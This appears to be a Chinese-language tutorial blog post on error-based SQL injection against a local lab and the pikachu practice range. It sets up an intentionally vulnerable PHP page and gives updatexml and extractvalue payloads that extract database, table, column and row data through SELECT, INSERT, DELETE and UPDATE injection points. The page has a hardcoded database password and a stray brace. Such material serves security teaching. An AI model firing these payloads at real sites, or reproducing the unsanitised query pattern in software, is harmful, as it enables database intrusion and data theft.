💪💪Error注入攻击
- 1.创建漏洞环境
- 2.漏洞攻击
- 2.1判断是否有注入
- 2.2信息收集
- 2.3注入获取数据库名
- 2.4注入获取表名
- 2.5注入获取列名
- 2.6注入获取信息
- 3.sql靶场实战
1.创建漏洞环境
💪💪第一步创建
sql
环境,直接再mysql
下运行
use loophole;
create table sql_test(
id int auto_increment,
primary key (id),
username char(10),
address char(20)
);
insert into sql_test values (1,'admin1','hubei'),(2,'mozhe','beijin'),(3,'admin','hubei'),(4,'yk','ensi');
⚠️⚠️第二步直接运行如下代码,其中连接数据库的用户名和密码必须换成自己的数据库的
<?php
echo "<h1>Error注入,让sql语句为真,让后面语句进行报错(报出有用信息)</h1>";
$con = mysqli_connect("localhost","root","901026yk","loophole");
if(mysqli_connect_error())
{
echo "连接错误" . mysqli_connect_error();
}
$username = $_GET['username'];
$result = mysqli_query($con,"select * from sql_test where id='" . $username ."'");
if($result)
{
echo 'OK';
}
else
{
echo mysqli_error($con);
}
}
2.漏洞攻击
2.1判断是否有注入
⚠️⚠️方法1:判断是否有注入还是
?id=1
,加标点符号和注释符--+
,让前面为真,再加上and 1=1和and 1=2,
原因如下:
- 如果我写在网站后面输入?id=1,sql语句执行如下:
select * from user where id = 1;
我们知道and运算符,必须两边为真才为真,假设我们输入?id=1 and 1=1,sql
语句执行如下: select * from user where id = 1 and 1= 1;
,这条语句会被执行,并且结果为真,页面会出现变化,如果我们输入?id=1 and 1=2,sql语句执行如下:select * from user where id = 1 and 1= 2
这条语句会被执行,并且结果为假,页面不会出现变化 存在注入说明我输入的语句会被执行,如果不存在注入,不管sql语句是否为真,都不会执行
⚠️⚠️方法2:直接
slqmap
扫描,sqlmap -u 网址
2.2信息收集
Error注入攻击的原理是,sql语句执行成功就显示成功,但是不显示执行结果,执行失败就显示错误代码,这样我们就可以让前面的sql语句执行为真,拼接updatexml()语句,让updatexml执行错误,报错出现有用信息,
updatexml(XML_document, XPath_string, new_value)
使用方法:
- 第一个参数:
XML_documen
t是String格式,为XML文档对象的名称 - 第二个参数:
XPath_string
(Xpath格式的字符串) - 第三个参数:
new_value,String
格式,替换查找到的符合条件的数据
💎💎
concat()
:用来拼接字符串
-
http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
-
http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
2.3注入获取数据库名
2.4注入获取表名
http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='loophole' limit 0,1),0x7e),1)
--+
2.5注入获取列名
⚠️⚠️通过limit的截取位置获取不同的信息
http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='loophole' and table_name='sql_test' limit 0,1),0x7e),1) --+
2.6注入获取信息
http://localhost:3000/SQL/Error.php?username=1' and updatexml(1,concat(0x7e,(select username from loophole.sql_test limit 1,1),0x7e),1) --+
3.sql靶场实战
在进行靶场实战的时候,我们必须搞清楚什么地方会出现注入?,什么地方会出现什么类型的注入?,如下是解释:
select查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
如下是只能够进行报错注入的地方,原因跟数据注入的地方有关,
insert
注入在括号内,也没有条件判断(and length(database())>10),delete
注入在条件处,但是为真就直接删除了,update
和insert
原因差不多
insert插入数据
在网站应用中进行用户注册添加
等操作
例:insert into news (id, url, text) values (2, 'x','$t')
常用注入语句:
’ or updatexml(1,concat(0x7e,(database())),0) or '(字符型)
’ or extractvalue(1,concat(0x5e24,(database()))) or '(数字型)
delete删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
常用注入语句:
or or updatexml(1,concat(0x7e,(database())),0) or ’ ’
or extractvalue(1,concat(0x5e24,(database()))) or ’ ’
‘or(有效载荷)or’
‘and(有效载荷)and’
‘or(有效载荷)and’
‘or(有效载荷)and’=’
‘(有效载荷)’
‘or(有效载荷)and’
" - (有效载荷) - "
update更新数据
会员或后台中心数据同步或缓存等
操作
例:update user set pwd='$p' where id=2 and username= 'admin'
常用注入语句:aaaa’ or updatexml(1, concat(0x7e, database()),0) or '(字符型)
'or extractvalue(1,concat(0x5e24,(database()))) or '(数字型)
重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式
如下以pikachu靶场为例:
' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值
' or updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member'),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='member' limit 1,1),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select id from pikachu.member limit 1,1),0x7e),1) or '
' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值
,先看题目信息:如下,猜测可能是insert
' or updatexml(1,concat(0x7e,(database()),0x7e),1) or ' 改变database()就可以获取其他值
,
' or updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or '
,其实只需要改变 updatexml这个中的值就可以了
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member'),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='member' limit 1,1),0x7e),1) or '
' or updatexml(1,concat(0x7e,(select id from pikachu.member limit 1,1),0x7e),1) or '